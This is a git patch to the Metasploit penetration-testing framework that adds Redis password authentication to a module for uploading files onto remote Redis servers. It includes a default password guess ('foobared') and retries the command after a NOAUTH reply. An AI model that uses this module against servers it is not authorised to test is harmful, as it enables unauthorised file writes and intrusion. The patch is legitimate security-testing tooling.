From 38d0b0a0f2c135d97957cff9ff013253661a7f60 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Fri, 11 Dec 2015 08:42:59 -0800 Subject: [PATCH] Wire in @all3g's redis auth code --- lib/msf/core/auxiliary/redis.rb | 12 +++++++++++ .../scanner/redis/unauth_upload_file.rb | 21 +++++++++++++++---- 2 files changed, 29 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/auxiliary/redis.rb b/lib/msf/core/auxiliary/redis.rb index f0bbd3f090..62bbedb8ab 100644 --- a/lib/msf/core/auxiliary/redis.rb +++ b/lib/msf/core/auxiliary/redis.rb @@ -38,6 +38,18 @@ module Msf datastore['READ_TIMEOUT'] end + def redis_auth?(password) + # Request for authentication in a password-protected Redis server. + # Redis can be instructed to require a password before allowing clients to + # execute commands. This is done using requirepass directive in the + # configuration file. + # + # If password matches the password in the configuration file, the server + # replies with the OK status code and starts accepting commands. + data = send_redis_command('AUTH', password) + data && data.include?('+OK') ? true : false + end + def redis_proto(commands) return if commands.blank? command = "*#{commands.length}\r\n" diff --git a/modules/auxiliary/scanner/redis/unauth_upload_file.rb b/modules/auxiliary/scanner/redis/unauth_upload_file.rb index 5654c98819..dbd8b90d19 100644 --- a/modules/auxiliary/scanner/redis/unauth_upload_file.rb +++ b/modules/auxiliary/scanner/redis/unauth_upload_file.rb @@ -12,10 +12,15 @@ class Metasploit3 < Msf::Auxiliary super( update_info( info, - 'Name' => 'Redis Unauthenticated File Upload', + 'Name' => 'Redis File Upload', 'Description' => %q( - This module can save data to file in remote redis server, - Because redis is unprotected without a password set up. + This module can be used to leverage functionality exposed by Redis to + achieve somewhat arbitrary file upload to a file and directory to + which the user account running the redis instance has access. It is + not totally arbitrary because the exact contents of the file cannot + (yet) be completely controlled. Depending on the contents of the + file that is being uploaded, Redis may compress the data that is + ultimately stored in the specified target location. ), 'License' => MSF_LICENSE, 'Author' => [ @@ -34,10 +39,12 @@ class Metasploit3 < Msf::Auxiliary 'DisclosureDate' => 'Nov 11 2015' ) ) + register_options( [ OptPath.new('LocalFile', [false, 'Local file to be uploaded']), - OptString.new('RemoteFile', [false, 'Remote file path']) + OptString.new('RemoteFile', [false, 'Remote file path']), + OptString.new('Password', [false, 'Redis password for authentication test', 'foobared']) ] ) end @@ -84,6 +91,9 @@ class Metasploit3 < Msf::Auxiliary def check connect data = send_redis_command('INFO') + if data && /NOAUTH Authentication required/ =~ data + data = send_redis_command('INFO') if redis_auth?(datastore['Password']) + end disconnect if data && /redis_version:(?\S+)/ =~ data report_redis(redis_version) @@ -129,6 +139,9 @@ class Metasploit3 < Msf::Auxiliary if res =~ /PONG/ vprint_good("#{peer} -- responded positively to our PONG") send_file(datastore['RemoteFile'], @upload_content) + elsif res =~ /NOAUTH Authentication required/ && redis_auth?(datastore['Password']) + vprint_good("#{peer} -- responded to auth successfully") + send_file(datastore['RemoteFile'], @upload_content) else vprint_good("#{peer} -- responded unknown to our PONG: #{res}") end